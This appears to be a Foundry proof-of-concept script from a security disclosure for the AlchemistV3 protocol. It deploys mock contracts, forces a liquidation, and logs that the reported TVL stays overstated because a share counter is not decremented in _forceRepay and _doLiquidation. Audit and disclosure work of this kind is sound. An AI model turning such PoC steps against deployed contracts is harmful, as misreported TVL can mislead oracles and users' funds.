Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {AlchemistV3} from "../src/AlchemistV3.sol";
import {IAlchemistV3, AlchemistInitializationParams} from "../src/interfaces/IAlchemistV3.sol";
import {AlchemistV3Position} from "../src/AlchemistV3Position.sol";
import {Transmuter} from "../src/Transmuter.sol";
import {ITransmuter} from "../src/interfaces/ITransmuter.sol";
import {VaultV2} from "vault-v2/VaultV2.sol";
import {IVaultV2} from "vault-v2/interfaces/IVaultV2.sol";
import {AlchemicTokenV3} from "../src/test/mocks/AlchemicTokenV3.sol";
import {TestERC20} from "../src/test/mocks/TestERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
/// @notice Foundry Script PoC: Demonstrates TVL/oracle mismatch after forceRepay/liquidation
/// @dev Bug #006: AlchemistV3 does not decrement `_mytSharesDeposited` when transferring MYT out
/// in `_forceRepay` and `_doLiquidation`, causing TVL to be overstated.
contract PoC_Bug006_TVL_Mismatch is Script {
AlchemistV3 alchemist;
AlchemistV3Position positionNFT;
Transmuter transmuter;
AlchemicTokenV3 debtToken;
VaultV2 myt;
TestERC20 underlying;
address protocolFeeReceiver = address(0x10);
address proxyOwner = address(0x99);
address deployer;
function run() external {
console.log("========================================");
console.log("PoC: Critical TVL Mismatch Bug #006");
console.log("========================================\n");
vm.startBroadcast();
deployer = msg.sender;
// 1) Deploy underlying and MYT vault
console.log("Step 1: Deploying underlying token and MYT vault...");
underlying = new TestERC20(1_000_000e18, 18);
myt = new VaultV2(deployer, address(underlying));
myt.setName("MYT");
myt.setSymbol("MYT");
IERC20(address(underlying)).approve(address(myt), type(uint256).max);
uint256 assets = 100_000e18;
uint256 mintedShares = myt.deposit(assets, deployer);
console.log(" Vault shares minted:", mintedShares);
// 2) Deploy debtToken and Transmuter
console.log("\nStep 2: Deploying debt token and Transmuter...");
debtToken = new AlchemicTokenV3("alUSD", "alUSD", 0);
ITransmuter.TransmuterInitializationParams memory tparams = ITransmuter.TransmuterInitializationParams({
syntheticToken: address(debtToken),
feeReceiver: protocolFeeReceiver,
timeToTransmute: 100,
transmutationFee: 0,
exitFee: 0,
graphSize: 1000 // Allow deposits
});
transmuter = new Transmuter(tparams);
// 3) Deploy AlchemistV3 with proxy
console.log("\nStep 3: Deploying AlchemistV3...");
AlchemistV3 alchemistLogic = new AlchemistV3();
AlchemistInitializationParams memory params = AlchemistInitializationParams({
admin: deployer,
debtToken: address(debtToken),
underlyingToken: address(underlying),
depositCap: type(uint256).max,
minimumCollateralization: 2e18, // 200%
globalMinimumCollateralization: 2e18,
collateralizationLowerBound: 2e18,
transmuter: address(transmuter),
protocolFee: 0,
protocolFeeReceiver: protocolFeeReceiver,
liquidatorFee: 0,
repaymentFee: 0,
myt: address(myt)
});
bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
TransparentUpgradeableProxy proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
alchemist = AlchemistV3(address(proxyAlchemist));
// 4) Setup position NFT
positionNFT = new AlchemistV3Position(address(alchemist));
alchemist.setAlchemistPositionNFT(address(positionNFT));
// 5) Whitelist alchemist
debtToken.setWhitelist(address(alchemist), true);
// 6) Create position
console.log("\nStep 4: Creating position and depositing MYT shares...");
IERC20(address(myt)).approve(address(alchemist), type(uint256).max);
uint256 sharesToDeposit = IERC20(address(myt)).balanceOf(deployer) / 2;
uint256 debtValue = alchemist.deposit(sharesToDeposit, deployer, 0);
console.log(" Debt value from deposit:", debtValue);
uint256 tokenId = 1;
// 7) Mint debt to capacity
console.log("\nStep 5: Minting debt to maximum capacity...");
uint256 capacity = alchemist.getMaxBorrowable(tokenId);
console.log(" Max borrowable (capacity):", capacity);
alchemist.mint(tokenId, capacity, deployer);
// 8) Create redemption in transmuter
console.log("\nStep 6: Creating transmuter redemption to generate earmarks...");
IERC20(address(debtToken)).approve(address(transmuter), capacity);
transmuter.setAlchemist(address(alchemist));
transmuter.setDepositCap(uint256(type(int256).max)); // Max allowed by Transmuter validation
uint256 redemptionAmount = capacity / 10;
transmuter.createRedemption(redemptionAmount);
console.log(" Redemption created:", redemptionAmount);
// Advance block twice: once to make earmarks available, once more for liquidation timing
vm.roll(block.number + 2);
// 9) Measure TVL before liquidation
console.log("\n========================================");
console.log("BEFORE LIQUIDATION:");
console.log("========================================");
uint256 alchemistSharesBefore = IERC20(address(myt)).balanceOf(address(alchemist));
uint256 actualUnderlyingBefore = IVaultV2(address(myt)).convertToAssets(alchemistSharesBefore);
uint256 tvlBefore = alchemist.getTotalUnderlyingValue();
console.log(" Alchemist MYT shares:", alchemistSharesBefore);
console.log(" Actual underlying (from vault):", actualUnderlyingBefore);
console.log(" TVL (from _mytSharesDeposited):", tvlBefore);
console.log(" Match?", actualUnderlyingBefore == tvlBefore ? "YES" : "NO");
// 10) Call liquidation
console.log("\n========================================");
console.log("TRIGGERING LIQUIDATION...");
console.log("========================================");
(uint256 amountLiquidated, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenId);
console.log(" Amount liquidated (yield):", amountLiquidated);
console.log(" Fee in yield:", feeInYield);
console.log(" Fee in underlying:", feeInUnderlying);
// 11) Measure TVL after liquidation
console.log("\n========================================");
console.log("AFTER LIQUIDATION:");
console.log("========================================");
uint256 alchemistSharesAfter = IERC20(address(myt)).balanceOf(address(alchemist));
uint256 actualUnderlyingAfter = IVaultV2(address(myt)).convertToAssets(alchemistSharesAfter);
uint256 tvlAfter = alchemist.getTotalUnderlyingValue();
console.log(" Alchemist MYT shares:", alchemistSharesAfter);
console.log(" Actual underlying (from vault):", actualUnderlyingAfter);
console.log(" TVL (from _mytSharesDeposited):", tvlAfter);
console.log(" Match?", actualUnderlyingAfter == tvlAfter ? "YES" : "NO");
// 12) Show the bug
console.log("\n========================================");
console.log("BUG DEMONSTRATION:");
console.log("========================================");
if (tvlAfter > actualUnderlyingAfter) {
uint256 discrepancy = tvlAfter - actualUnderlyingAfter;
console.log(" CRITICAL: TVL is OVERSTATED!");
console.log(" Discrepancy:", discrepancy);
console.log(" Percentage overstated (bps):", (discrepancy * 10000) / actualUnderlyingAfter);
console.log("\n Root cause: _mytSharesDeposited not decremented");
console.log(" when MYT transferred out in _forceRepay/_doLiquidation");
} else {
console.log(" No discrepancy found");
}
console.log("========================================\n");
vm.stopBroadcast();
}
}